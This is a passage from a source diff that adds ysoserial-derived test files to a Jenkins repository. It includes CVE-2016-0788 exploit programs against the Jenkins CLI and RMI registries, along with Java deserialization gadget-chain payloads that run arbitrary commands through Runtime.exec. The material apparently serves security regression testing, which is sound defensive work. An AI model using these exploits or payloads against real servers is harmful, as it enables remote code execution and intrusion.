" <jenkins_url> <payload_type> <payload_arg>"
);
System
.
exit
(-
1
);
}
final
Object
payloadObject
=
Utils
.
makePayloadObject
(
args
[
1
],
args
[
2
]);
String
jenkinsUrl
=
args
[
0
];
Channel
c
=
null
;
try
{
InetSocketAddress
isa
=
JenkinsCLI
.
getCliPort
(
jenkinsUrl
);
c
=
JenkinsCLI
.
openChannel
(
isa
);
c
.
call
(
getPropertyCallable
(
payloadObject
));
}
catch
(
Throwable
e
)
{
e
.
printStackTrace
();
}
finally
{
if
(
c
!=
null
)
{
try
{
c
.
close
();
}
catch
(
IOException
e
)
{
e
.
printStackTrace
(
System
.
err
);
}
}
}
Utils
.
releasePayload
(
args
[
1
],
payloadObject
);
}
public
static
Callable
<?,
?>
getPropertyCallable
(
final
Object
prop
)
throws
ClassNotFoundException
,
NoSuchMethodException
,
InstantiationException
,
IllegalAccessException
,
InvocationTargetException
{
Class
<?>
reqClass
=
Class
.
forName
(
"hudson.remoting.RemoteInvocationHandler$RPCRequest"
);
Constructor
<?>
reqCons
=
reqClass
.
getDeclaredConstructor
(
int
.
class
,
Method
.
class
,
Object
[].
class
);
reqCons
.
setAccessible
(
true
);
Object
getJarLoader
=
reqCons
.
newInstance
(
1
,
Class
.
forName
(
"hudson.remoting.IChannel"
).
getMethod
(
"getProperty"
,
Object
.
class
),
new
Object
[]
{
prop
});
return
(
Callable
<?,
?>)
getJarLoader
;
}
public
static
InetSocketAddress
getCliPort
(
String
jenkinsUrl
)
throws
MalformedURLException
,
IOException
{
URL
u
=
new
URL
(
jenkinsUrl
);
URLConnection
conn
=
u
.
openConnection
();
if
(
!
(
conn
instanceof
HttpURLConnection
)
)
{
System
.
err
.
println
(
"Not a HTTP URL"
);
throw
new
MalformedURLException
();
}
HttpURLConnection
hc
=
(
HttpURLConnection
)
conn
;
if
(
hc
.
getResponseCode
()
>=
400
)
{
System
.
err
.
println
(
"* Error connection to jenkins HTTP "
+
u
);
}
int
clip
=
Integer
.
parseInt
(
hc
.
getHeaderField
(
"X-Jenkins-CLI-Port"
));
return
new
InetSocketAddress
(
u
.
getHost
(),
clip
);
}
public
static
Channel
openChannel
(
InetSocketAddress
isa
)
throws
IOException
,
SocketException
{
System
.
err
.
println
(
"* Opening socket "
+
isa
);
Socket
s
=
SocketFactory
.
getDefault
().
createSocket
(
isa
.
getAddress
(),
isa
.
getPort
());
s
.
setKeepAlive
(
true
);
s
.
setTcpNoDelay
(
true
);
System
.
err
.
println
(
"* Opening channel"
);
OutputStream
outputStream
=
s
.
getOutputStream
();
DataOutputStream
dos
=
new
DataOutputStream
(
outputStream
);
dos
.
writeUTF
(
"Protocol:CLI-connect"
);
ExecutorService
cp
=
Executors
.
newCachedThreadPool
(
new
ThreadFactory
()
{
public
Thread
newThread
(
Runnable
r
)
{
Thread
t
=
new
Thread
(
r
,
"Channel"
);
t
.
setDaemon
(
true
);
return
t
;
}
});
Channel
c
=
new
ChannelBuilder
(
"EXPLOIT"
,
cp
).
withMode
(
Mode
.
BINARY
).
build
(
s
.
getInputStream
(),
outputStream
);
System
.
err
.
println
(
"* Channel open"
);
return
c
;
}
}
test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsListener.java
0 → 100644
浏览文件 @
8395b78c
package
jenkins.security.security218.ysoserial.exploit
;
import
java.io.DataOutputStream
;
import
java.io.IOException
;
import
java.io.ObjectOutputStream
;
import
java.io.OutputStream
;
import
java.lang.reflect.Constructor
;
import
java.lang.reflect.InvocationHandler
;
import
java.lang.reflect.InvocationTargetException
;
import
java.lang.reflect.Method
;
import
java.lang.reflect.Proxy
;
import
java.net.InetSocketAddress
;
import
java.net.Socket
;
import
java.rmi.activation.ActivationDesc
;
import
java.rmi.activation.ActivationID
;
import
java.rmi.activation.ActivationInstantiator
;
import
javax.net.SocketFactory
;
import
hudson.remoting.Callable
;
import
hudson.remoting.Channel
;
import
hudson.remoting.JarLoader
;
import
sun.rmi.server.Util
;
import
sun.rmi.transport.TransportConstants
;
import
jenkins.security.security218.ysoserial.payloads.JRMPListener
;
import
jenkins.security.security218.ysoserial.payloads.ObjectPayload
;
import
jenkins.security.security218.ysoserial.payloads.ObjectPayload.Utils
;
import
jenkins.security.security218.ysoserial.payloads.util.Reflections
;
/**
* CVE-2016-0788 exploit (1)
*
* 1. delivers a ysoserial.payloads.JRMPListener payload to jenkins via it's remoting protocol.
* 2. that payload causes the remote server to open up an JRMP listener (and export an object).
* 3. connect to that JRMP listener and deliver any otherwise blacklisted payload.
*
* Extra twist:
* The well-known objects exported by the listener use the system classloader which usually
* won't contain the targeted classes. Therefor we need to get ahold of the exported object's id
* (which is using jenkins' classloader) that typically is properly randomized.
* Fortunately - for the exploiting party - there is also a gadget that allows to leak
* that identifier via an exception.
*
* @author mbechler
*/
@SuppressWarnings
(
{
"rawtypes"
,
"restriction"
}
)
public
class
JenkinsListener
{
public
static
final
void
main
(
final
String
[]
args
)
{
if
(
args
.
length
<
3
)
{
System
.
err
.
println
(
JenkinsListener
.
class
.
getName
()
+
" <jenkins_url> <payload_type> <payload_arg>"
);
System
.
exit
(-
1
);
}
final
Class
<?
extends
ObjectPayload
>
payloadClass
=
Utils
.
getPayloadClass
(
args
[
1
]);
if
(
payloadClass
==
null
||
!
ObjectPayload
.
class
.
isAssignableFrom
(
payloadClass
)
)
{
System
.
err
.
println
(
"Invalid payload type '"
+
args
[
1
]
+
"'"
);
System
.
exit
(-
1
);
}
String
jenkinsUrl
=
args
[
0
];
int
jrmpPort
=
12345
;
Channel
c
=
null
;
try
{
InetSocketAddress
isa
=
JenkinsCLI
.
getCliPort
(
jenkinsUrl
);
c
=
JenkinsCLI
.
openChannel
(
isa
);
Object
call
=
c
.
call
(
JenkinsCLI
.
getPropertyCallable
(
JarLoader
.
class
.
getName
()
+
".ours"
));
InvocationHandler
remote
=
Proxy
.
getInvocationHandler
(
call
);
int
oid
=
Reflections
.
getField
(
Class
.
forName
(
"hudson.remoting.RemoteInvocationHandler"
),
"oid"
).
getInt
(
remote
);
System
.
err
.
println
(
"* JarLoader oid is "
+
oid
);
Object
uro
=
new
JRMPListener
().
getObject
(
String
.
valueOf
(
jrmpPort
));
Class
<?>
reqClass
=
Class
.
forName
(
"hudson.remoting.RemoteInvocationHandler$RPCRequest"
);
Object
o
=
makeIsPresentOnRemoteCallable
(
oid
,
uro
,
reqClass
);
try
{
c
.
call
((
Callable
<?,
?>)
o
);
}
catch
(
Exception
e
)
{
// [ActivationGroupImpl[UnicastServerRef [liveRef:
// [endpoint:[172.16.20.11:12345](local),objID:[de39d9c:15269e6d8bf:-7fc1,
// -9046794842107247609]]
System
.
err
.
println
(
e
.
getMessage
());
parseObjIdAndExploit
(
args
,
payloadClass
,
jrmpPort
,
isa
,
e
);
}
}
catch
(
Throwable
e
)
{
e
.
printStackTrace
();
}
finally
{
if
(
c
!=
null
)
{
try
{
c
.
close
();
}
catch
(
IOException
e
)
{
e
.
printStackTrace
(
System
.
err
);
}
}
}
}
private
static
Object
makeIsPresentOnRemoteCallable
(
int
oid
,
Object
uro
,
Class
<?>
reqClass
)
throws
NoSuchMethodException
,
InstantiationException
,
IllegalAccessException
,
InvocationTargetException
,
ClassNotFoundException
{
Constructor
<?>
reqCons
=
reqClass
.
getDeclaredConstructor
(
int
.
class
,
Method
.
class
,
Object
[].
class
);
reqCons
.
setAccessible
(
true
);
return
reqCons
.
newInstance
(
oid
,
JarLoader
.
class
.
getMethod
(
"isPresentOnRemote"
,
Class
.
forName
(
"hudson.remoting.Checksum"
)),
new
Object
[]
{
uro
,
});
}
private
static
void
parseObjIdAndExploit
(
final
String
[]
args
,
final
Class
<?
extends
ObjectPayload
>
payloadClass
,
int
jrmpPort
,
InetSocketAddress
isa
,
Exception
e
)
throws
Exception
,
IOException
{
String
msg
=
e
.
getMessage
();
int
start
=
msg
.
indexOf
(
"objID:["
);
if
(
start
<
0
)
{
throw
new
Exception
(
"Failed to get object id"
);
}
int
sep
=
msg
.
indexOf
(
", "
,
start
+
1
);
if
(
sep
<
0
)
{
throw
new
Exception
(
"Failed to get object id, separator"
);
}
int
end
=
msg
.
indexOf
(
"]"
,
sep
+
1
);
if
(
end
<
0
)
{
throw
new
Exception
(
"Failed to get object id, separator"
);
}
String
uid
=
msg
.
substring
(
start
+
7
,
sep
);
String
objNum
=
msg
.
substring
(
sep
+
2
,
end
);
System
.
err
.
println
(
"* UID is "
+
uid
);
System
.
err
.
println
(
"* ObjNum is "
+
objNum
);
String
[]
parts
=
uid
.
split
(
":"
);
long
obj
=
Long
.
parseLong
(
objNum
);
int
o1
=
Integer
.
parseInt
(
parts
[
0
],
16
);
long
o2
=
Long
.
parseLong
(
parts
[
1
],
16
);
short
o3
=
Short
.
parseShort
(
parts
[
2
],
16
);
exploit
(
new
InetSocketAddress
(
isa
.
getAddress
(),
jrmpPort
),
obj
,
o1
,
o2
,
o3
,
payloadClass
,
args
[
2
]);
}
private
static
void
exploit
(
InetSocketAddress
isa
,
long
obj
,
int
o1
,
long
o2
,
short
o3
,
Class
<?>
payloadClass
,
String
payloadArg
)
throws
IOException
{
Socket
s
=
null
;
DataOutputStream
dos
=
null
;
try
{
System
.
err
.
println
(
"* Opening JRMP socket "
+
isa
);
s
=
SocketFactory
.
getDefault
().
createSocket
(
isa
.
getAddress
(),
isa
.
getPort
());
s
.
setKeepAlive
(
true
);
s
.
setTcpNoDelay
(
true
);
OutputStream
os
=
s
.
getOutputStream
();
dos
=
new
DataOutputStream
(
os
);
dos
.
writeInt
(
TransportConstants
.
Magic
);
dos
.
writeShort
(
TransportConstants
.
Version
);
dos
.
writeByte
(
TransportConstants
.
SingleOpProtocol
);
dos
.
write
(
TransportConstants
.
Call
);
@SuppressWarnings
(
"resource"
)
final
ObjectOutputStream
objOut
=
new
JRMPClient
.
MarshalOutputStream
(
dos
);
objOut
.
writeLong
(
obj
);
objOut
.
writeInt
(
o1
);
objOut
.
writeLong
(
o2
);
objOut
.
writeShort
(
o3
);
objOut
.
writeInt
(-
1
);
objOut
.
writeLong
(
Util
.
computeMethodHash
(
ActivationInstantiator
.
class
.
getMethod
(
"newInstance"
,
ActivationID
.
class
,
ActivationDesc
.
class
)));
final
ObjectPayload
payload
=
(
ObjectPayload
)
payloadClass
.
newInstance
();
final
Object
object
=
payload
.
getObject
(
payloadArg
);
objOut
.
writeObject
(
object
);
os
.
flush
();
ObjectPayload
.
Utils
.
releasePayload
(
payload
,
object
);
}
catch
(
Exception
e
)
{
e
.
printStackTrace
(
System
.
err
);
}
finally
{
if
(
dos
!=
null
)
{
dos
.
close
();
}
if
(
s
!=
null
)
{
s
.
close
();
}
}
}
}
test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsReverse.java
0 → 100644
浏览文件 @
8395b78c
package
jenkins.security.security218.ysoserial.exploit
;
import
java.io.IOException
;
import
java.net.InetSocketAddress
;
import
java.rmi.registry.Registry
;
import
java.util.Random
;
import
hudson.remoting.Channel
;
import
jenkins.security.security218.ysoserial.exploit.JRMPListener
;
import
jenkins.security.security218.ysoserial.payloads.JRMPClient
;
import
jenkins.security.security218.ysoserial.payloads.ObjectPayload.Utils
;
/**
* CVE-2016-0788 exploit (2)
*
* - Sets up a local {@link JRMPListener}
* - Delivers a {@link ysoserial.payloads.JRMPClient} payload via the CLI protocol
* that will cause the remote to open a JRMP connection to our listener
* - upon connection the specified payload will be delivered to the remote
* (that will deserialize using a default ObjectInputStream)
*
* @author mbechler
*
*/
public
class
JenkinsReverse
{
public
static
final
void
main
(
final
String
[]
args
)
{
if
(
args
.
length
<
4
)
{
System
.
err
.
println
(
JenkinsListener
.
class
.
getName
()
+
" <jenkins_url> <local_addr> <payload_type> <payload_arg>"
);
System
.
exit
(-
1
);
}
final
Object
payloadObject
=
Utils
.
makePayloadObject
(
args
[
2
],
args
[
3
]);
String
myAddr
=
args
[
1
];
int
jrmpPort
=
new
Random
().
nextInt
(
65536
-
1024
)
+
1024
;
String
jenkinsUrl
=
args
[
0
];
Thread
t
=
null
;
Channel
c
=
null
;
try
{
InetSocketAddress
isa
=
JenkinsCLI
.
getCliPort
(
jenkinsUrl
);
c
=
JenkinsCLI
.
openChannel
(
isa
);
JRMPListener
listener
=
new
JRMPListener
(
jrmpPort
,
payloadObject
);
t
=
new
Thread
(
listener
,
"ReverseDGC"
);
t
.
setDaemon
(
true
);
t
.
start
();
Registry
payload
=
new
JRMPClient
().
getObject
(
myAddr
+
":"
+
jrmpPort
);
c
.
call
(
JenkinsCLI
.
getPropertyCallable
(
payload
));
listener
.
waitFor
(
1000
);
listener
.
close
();
}
catch
(
Throwable
e
)
{
e
.
printStackTrace
();
}
finally
{
if
(
c
!=
null
)
{
try
{
c
.
close
();
}
catch
(
IOException
e
)
{
e
.
printStackTrace
(
System
.
err
);
}
}
if
(
t
!=
null
)
{
t
.
interrupt
();
try
{
t
.
join
();
}
catch
(
InterruptedException
e
)
{
e
.
printStackTrace
(
System
.
err
);
}
}
}
Utils
.
releasePayload
(
args
[
2
],
payloadObject
);
}
}
test/src/test/java/jenkins/security/security218/ysoserial/exploit/RMIRegistryExploit.java
0 → 100644
浏览文件 @
8395b78c
package
jenkins.security.security218.ysoserial.exploit
;
import
java.rmi.Remote
;
import
java.rmi.registry.LocateRegistry
;
import
java.rmi.registry.Registry
;
import
java.util.concurrent.Callable
;
import
jenkins.security.security218.ysoserial.payloads.CommonsCollections1
;
import
jenkins.security.security218.ysoserial.payloads.ObjectPayload
;
import
jenkins.security.security218.ysoserial.payloads.ObjectPayload.Utils
;
import
jenkins.security.security218.ysoserial.payloads.util.Gadgets
;
import
jenkins.security.security218.ysoserial.secmgr.ExecCheckingSecurityManager
;
/*
* Utility program for exploiting RMI registries running with required gadgets available in their ClassLoader.
* Attempts to exploit the registry itself, then enumerates registered endpoints and their interfaces.
*
* TODO: automatic exploitation of endpoints, potentially with automated download and use of jars containing remote
* interfaces. See http://www.findmaven.net/api/find/class/org.springframework.remoting.rmi.RmiInvocationHandler .
*/
@SuppressWarnings
({
"rawtypes"
,
"unchecked"
})
public
class
RMIRegistryExploit
{
public
static
void
main
(
final
String
[]
args
)
throws
Exception
{
final
String
host
=
args
[
0
];
final
int
port
=
Integer
.
parseInt
(
args
[
1
]);
final
String
command
=
args
[
3
];
final
Registry
registry
=
LocateRegistry
.
getRegistry
(
host
,
port
);
final
String
className
=
CommonsCollections1
.
class
.
getPackage
().
getName
()
+
"."
+
args
[
2
];
final
Class
<?
extends
ObjectPayload
>
payloadClass
=
(
Class
<?
extends
ObjectPayload
>)
Class
.
forName
(
className
);
// ensure payload doesn't detonate during construction or deserialization
exploit
(
registry
,
payloadClass
,
command
);
}
public
static
void
exploit
(
final
Registry
registry
,
final
Class
<?
extends
ObjectPayload
>
payloadClass
,
final
String
command
)
throws
Exception
{
new
ExecCheckingSecurityManager
().
wrap
(
new
Callable
<
Void
>(){
public
Void
call
()
throws
Exception
{
ObjectPayload
payloadObj
=
payloadClass
.
newInstance
();
Object
payload
=
payloadObj
.
getObject
(
command
);
String
name
=
"pwned"
+
System
.
nanoTime
();
Remote
remote
=
Gadgets
.
createMemoitizedProxy
(
Gadgets
.
createMap
(
name
,
payload
),
Remote
.
class
);
try
{
registry
.
bind
(
name
,
remote
);
}
catch
(
Throwable
e
)
{
e
.
printStackTrace
();
}
Utils
.
releasePayload
(
payloadObj
,
payload
);
return
null
;
}});
}
}
test/src/test/java/jenkins/security/security218/ysoserial/payloads/BeanShell1.java
0 → 100644
浏览文件 @
8395b78c
package
jenkins.security.security218.ysoserial.payloads
;
import
bsh.Interpreter
;
import
bsh.XThis
;
import
java.lang.reflect.InvocationHandler
;
import
java.lang.reflect.Proxy
;
import
java.util.Comparator
;
import
java.util.PriorityQueue
;
import
jenkins.security.security218.ysoserial.payloads.util.Reflections
;
import
jenkins.security.security218.ysoserial.payloads.annotation.Dependencies
;
import
jenkins.security.security218.ysoserial.payloads.util.PayloadRunner
;
/**
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
*/
@SuppressWarnings
({
"rawtypes"
,
"unchecked"
})
@Dependencies
({
"org.beanshell:bsh:2.0b5"
})
public
class
BeanShell1
extends
PayloadRunner
implements
ObjectPayload
<
PriorityQueue
>
{
public
PriorityQueue
getObject
(
String
command
)
throws
Exception
{
// BeanShell payload
String
payload
=
"compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{\""
+
command
+
"\"}).start();return new Integer(1);}"
;
// Create Interpreter
Interpreter
i
=
new
Interpreter
();
// Evaluate payload
i
.
eval
(
payload
);
// Create InvocationHandler
XThis
xt
=
new
XThis
(
i
.
getNameSpace
(),
i
);
InvocationHandler
handler
=
(
InvocationHandler
)
Reflections
.
getField
(
xt
.
getClass
(),
"invocationHandler"
).
get
(
xt
);
// Create Comparator Proxy
Comparator
comparator
=
(
Comparator
)
Proxy
.
newProxyInstance
(
Comparator
.
class
.
getClassLoader
(),
new
Class
<?>[]{
Comparator
.
class
},
handler
);
// Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
final
PriorityQueue
<
Object
>
priorityQueue
=
new
PriorityQueue
<
Object
>(
2
,
comparator
);
Object
[]
queue
=
new
Object
[]
{
1
,
1
};
Reflections
.
setFieldValue
(
priorityQueue
,
"queue"
,
queue
);
Reflections
.
setFieldValue
(
priorityQueue
,
"size"
,
2
);
return
priorityQueue
;
}
public
static
void
main
(
final
String
[]
args
)
throws
Exception
{
PayloadRunner
.
run
(
BeanShell1
.
class
,
args
);
}
}
test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsBeanutils1.java
0 → 100755
浏览文件 @
8395b78c
package
jenkins.security.security218.ysoserial.payloads
;
import
java.math.BigInteger
;
import
java.util.PriorityQueue
;
import
org.apache.commons.beanutils.BeanComparator
;
import
jenkins.security.security218.ysoserial.payloads.annotation.Dependencies
;
import
jenkins.security.security218.ysoserial.payloads.util.Gadgets
;
import
jenkins.security.security218.ysoserial.payloads.util.PayloadRunner
;
import
jenkins.security.security218.ysoserial.payloads.util.Reflections
;
@SuppressWarnings
({
"rawtypes"
,
"unchecked"
})
@Dependencies
({
"commons-beanutils:commons-beanutils:1.9.2"
,
"commons-collections:commons-collections:3.1"
,
"commons-logging:commons-logging:1.2"
})
public
class
CommonsBeanutils1
implements
ObjectPayload
<
Object
>
{
public
Object
getObject
(
final
String
command
)
throws
Exception
{
final
Object
templates
=
Gadgets
.
createTemplatesImpl
(
command
);
// mock method name until armed
final
BeanComparator
comparator
=
new
BeanComparator
(
"lowestSetBit"
);
// create queue with numbers and basic comparator
final
PriorityQueue
<
Object
>
queue
=
new
PriorityQueue
<
Object
>(
2
,
comparator
);
// stub data for replacement later
queue
.
add
(
new
BigInteger
(
"1"
));
queue
.
add
(
new
BigInteger
(
"1"
));
// switch method called by comparator
Reflections
.
setFieldValue
(
comparator
,
"property"
,
"outputProperties"
);
// switch contents of queue
final
Object
[]
queueArray
=
(
Object
[])
Reflections
.
getFieldValue
(
queue
,
"queue"
);
queueArray
[
0
]
=
templates
;
queueArray
[
1
]
=
templates
;
return
queue
;
}
public
static
void
main
(
final
String
[]
args
)
throws
Exception
{
PayloadRunner
.
run
(
CommonsBeanutils1
.
class
,
args
);
}
}
\ No newline at end of file
test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections3.java
0 → 100755
浏览文件 @
8395b78c
package
jenkins.security.security218.ysoserial.payloads
;
import
java.lang.reflect.InvocationHandler
;
import
java.util.HashMap
;
import
java.util.Map
;
import
javax.xml.transform.Templates
;
import
org.apache.commons.collections.Transformer
;
import
org.apache.commons.collections.functors.ChainedTransformer
;
import
org.apache.commons.collections.functors.ConstantTransformer
;
import
org.apache.commons.collections.functors.InstantiateTransformer
;
import
org.apache.commons.collections.map.LazyMap
;
import
jenkins.security.security218.ysoserial.payloads.annotation.Dependencies
;
import
jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest
;
import
jenkins.security.security218.ysoserial.payloads.util.Gadgets
;
import
jenkins.security.security218.ysoserial.payloads.util.JavaVersion
;
import
jenkins.security.security218.ysoserial.payloads.util.PayloadRunner
;
import
jenkins.security.security218.ysoserial.payloads.util.Reflections
;
import
com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
;
/*
* Variation on CommonsCollections1 that uses InstantiateTransformer instead of
* InvokerTransformer.
*/
@SuppressWarnings
({
"rawtypes"
,
"unchecked"
,
"restriction"
})
@Dependencies
({
"commons-collections:commons-collections:3.1"
})
@PayloadTest
(
precondition
=
"isApplicableJavaVersion"
)
public
class
CommonsCollections3
extends
PayloadRunner
implements
ObjectPayload
<
Object
>
{
public
Object
getObject
(
final
String
command
)
throws
Exception
{
Object
templatesImpl
=
Gadgets
.
createTemplatesImpl
(
command
);
// inert chain for setup
final
Transformer
transformerChain
=
new
ChainedTransformer
(
new
Transformer
[]{
new
ConstantTransformer
(
1
)
});
// real chain for after setup
final
Transformer
[]
transformers
=
new
Transformer
[]
{
new
ConstantTransformer
(
TrAXFilter
.
class
),
new
InstantiateTransformer
(
new
Class
[]
{
Templates
.
class
},
new
Object
[]
{
templatesImpl
}
)};
final
Map
innerMap
=
new
HashMap
();
final
Map
lazyMap
=
LazyMap
.
decorate
(
innerMap
,
transformerChain
);
final
Map
mapProxy
=
Gadgets
.
createMemoitizedProxy
(
lazyMap
,
Map
.
class
);
final
InvocationHandler
handler
=
Gadgets
.
createMemoizedInvocationHandler
(
mapProxy
);
Reflections
.
setFieldValue
(
transformerChain
,
"iTransformers"
,
transformers
);
// arm with actual transformer chain
return
handler
;
}
public
static
void
main
(
final
String
[]
args
)
throws
Exception
{
PayloadRunner
.
run
(
CommonsCollections3
.
class
,
args
);
}
public
static
boolean
isApplicableJavaVersion
()
{
return
JavaVersion
.
isAnnInvHUniversalMethodImpl
();
}
}
test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections4.java
0 → 100644
浏览文件 @
8395b78c
package
jenkins.security.security218.ysoserial.payloads
;
import
java.util.PriorityQueue
;
import
java.util.Queue
;
import
javax.xml.transform.Templates
;
import
org.apache.commons.collections4.Transformer
;
import
org.apache.commons.collections4.comparators.TransformingComparator
;
import
org.apache.commons.collections4.functors.ChainedTransformer
;
import
org.apache.commons.collections4.functors.ConstantTransformer
;
import
org.apache.commons.collections4.functors.InstantiateTransformer
;
import
jenkins.security.security218.ysoserial.payloads.annotation.Dependencies
;
import
jenkins.security.security218.ysoserial.payloads.util.Gadgets
;
import
jenkins.security.security218.ysoserial.payloads.util.PayloadRunner
;
import
jenkins.security.security218.ysoserial.payloads.util.Reflections
;
import
com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
;
/*
* Variation on CommonsCollections2 that uses InstantiateTransformer instead of
* InvokerTransformer.
*/
@SuppressWarnings
({
"rawtypes"
,
"unchecked"
,
"restriction"
})
@Dependencies
({
"org.apache.commons:commons-collections4:4.0"
})
public
class
CommonsCollections4
implements
ObjectPayload
<
Queue
<
Object
>>
{
public
Queue
<
Object
>
getObject
(
final
String
command
)
throws
Exception
{
Object
templates
=
Gadgets
.
createTemplatesImpl
(
command
);
ConstantTransformer
constant
=
new
ConstantTransformer
(
String
.
class
);
// mock method name until armed
Class
[]
paramTypes
=
new
Class
[]
{
String
.
class
};
Object
[]
args
=
new
Object
[]
{
"foo"
};
InstantiateTransformer
instantiate
=
new
InstantiateTransformer
(
paramTypes
,
args
);
// grab defensively copied arrays
paramTypes
=
(
Class
[])
Reflections
.
getFieldValue
(
instantiate
,
"iParamTypes"
);
args
=
(
Object
[])
Reflections
.
getFieldValue
(
instantiate
,
"iArgs"
);
ChainedTransformer
chain
=
new
ChainedTransformer
(
new
Transformer
[]
{
constant
,
instantiate
});
// create queue with numbers
PriorityQueue
<
Object
>
queue
=
new
PriorityQueue
<
Object
>(
2
,
new
TransformingComparator
(
chain
));
queue
.
add
(
1
);
queue
.
add
(
1
);
// swap in values to arm
Reflections
.
setFieldValue
(
constant
,
"iConstant"
,
TrAXFilter
.
class
);
paramTypes
[
0
]
=
Templates
.
class
;
args
[
0
]
=
templates
;
return
queue
;
}
public
static
void
main
(
final
String
[]
args
)
throws
Exception
{
PayloadRunner
.
run
(
CommonsCollections4
.
class
,
args
);
}
}
test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections5.java
0 → 100644
浏览文件 @
8395b78c
package
jenkins.security.security218.ysoserial.payloads
;
import
java.lang.reflect.Field
;
import
java.lang.reflect.InvocationHandler
;
import
java.util.HashMap
;
import
java.util.Map
;
import
javax.management.BadAttributeValueExpException
;
import
org.apache.commons.collections.Transformer
;
import
org.apache.commons.collections.functors.ChainedTransformer
;
import
org.apache.commons.collections.functors.ConstantTransformer
;
import
org.apache.commons.collections.functors.InvokerTransformer
;
import
org.apache.commons.collections.keyvalue.TiedMapEntry
;
import
org.apache.commons.collections.map.LazyMap
;
import
jenkins.security.security218.ysoserial.payloads.annotation.Dependencies
;
import
jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest
;
import
jenkins.security.security218.ysoserial.payloads.util.Gadgets
;
import
jenkins.security.security218.ysoserial.payloads.util.PayloadRunner
;
import
jenkins.security.security218.ysoserial.payloads.util.Reflections
;
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/
@PayloadTest
(
skip
=
"need more robust way to detect Runtime.exec() without SecurityManager()"
)
@SuppressWarnings
({
"rawtypes"
,
"unchecked"
})
@Dependencies
({
"commons-collections:commons-collections:3.1"
})
public
class
CommonsCollections5
extends
PayloadRunner
implements
ObjectPayload
<
BadAttributeValueExpException
>
{
public
BadAttributeValueExpException
getObject
(
final
String
command
)
throws
Exception
{
final
String
[]
execArgs
=
new
String
[]
{
command
};
// inert chain for setup
final
Transformer
transformerChain
=
new
ChainedTransformer
(
new
Transformer
[]{
new
ConstantTransformer
(
1
)
});
// real chain for after setup
final
Transformer
[]
transformers
=
new
Transformer
[]
{
new
ConstantTransformer
(
Runtime
.
class
),
new
InvokerTransformer
(
"getMethod"
,
new
Class
[]
{
String
.
class
,
Class
[].
class
},
new
Object
[]
{
"getRuntime"
,
new
Class
[
0
]
}),
new
InvokerTransformer
(
"invoke"
,
new
Class
[]
{
Object
.
class
,
Object
[].
class
},
new
Object
[]
{
null
,
new
Object
[
0
]
}),
new
InvokerTransformer
(
"exec"
,
new
Class
[]
{
String
.
class
},
execArgs
),
new
ConstantTransformer
(
1
)
};
final
Map
innerMap
=
new
HashMap
();
final
Map
lazyMap
=
LazyMap
.
decorate
(
innerMap
,
transformerChain
);
TiedMapEntry
entry
=
new
TiedMapEntry
(
lazyMap
,
"foo"
);
BadAttributeValueExpException
val
=
new
BadAttributeValueExpException
(
null
);
Field
valfield
=
val
.
getClass
().
getDeclaredField
(
"val"
);
valfield
.
setAccessible
(
true
);
valfield
.
set
(
val
,
entry
);
Reflections
.
setFieldValue
(
transformerChain
,
"iTransformers"
,
transformers
);
// arm with actual transformer chain
return
val
;
}
public
static
void
main
(
final
String
[]
args
)
throws
Exception
{
PayloadRunner
.
run
(
CommonsCollections5
.
class
,
args
);
}
}
test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections6.java
0 → 100644
浏览文件 @
8395b78c
package
jenkins.security.security218.ysoserial.payloads
;
import
org.apache.commons.collections.Transformer
;
import
org.apache.commons.collections.functors.ChainedTransformer
;
import
org.apache.commons.collections.functors.ConstantTransformer
;
import
org.apache.commons.collections.functors.InvokerTransformer
;
import
org.apache.commons.collections.keyvalue.TiedMapEntry
;
import
org.apache.commons.collections.map.LazyMap
;
import
jenkins.security.security218.ysoserial.payloads.annotation.Dependencies
;
import
jenkins.security.security218.ysoserial.payloads.util.PayloadRunner
;
import
java.io.Serializable
;
import
java.lang.reflect.Field
;
import
java.util.HashMap
;
import
java.util.HashSet
;
import
java.util.Map
;
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
by @matthias_kaiser
*/
@SuppressWarnings
({
"rawtypes"
,
"unchecked"
})
@Dependencies
({
"commons-collections:commons-collections:3.1"
})
public
class
CommonsCollections6
extends
PayloadRunner
implements
ObjectPayload
<
Serializable
>
{
public
Serializable
getObject
(
final
String
command
)
throws
Exception
{
final
String
[]
execArgs
=
new
String
[]
{
command
};
final
Transformer
[]
transformers
=
new
Transformer
[]
{
new
ConstantTransformer
(
Runtime
.
class
),
new
InvokerTransformer
(
"getMethod"
,
new
Class
[]
{
String
.
class
,
Class
[].
class
},
new
Object
[]
{
"getRuntime"
,
new
Class
[
0
]
}),
new
InvokerTransformer
(
"invoke"
,
new
Class
[]
{
Object
.
class
,
Object
[].
class
},
new
Object
[]
{
null
,
new
Object
[
0
]
}),
new
InvokerTransformer
(
"exec"
,
new
Class
[]
{
String
.
class
},
execArgs
),
new
ConstantTransformer
(
1
)
};
Transformer
transformerChain
=
new
ChainedTransformer
(
transformers
);
final
Map
innerMap
=
new
HashMap
();
final
Map
lazyMap
=
LazyMap
.
decorate
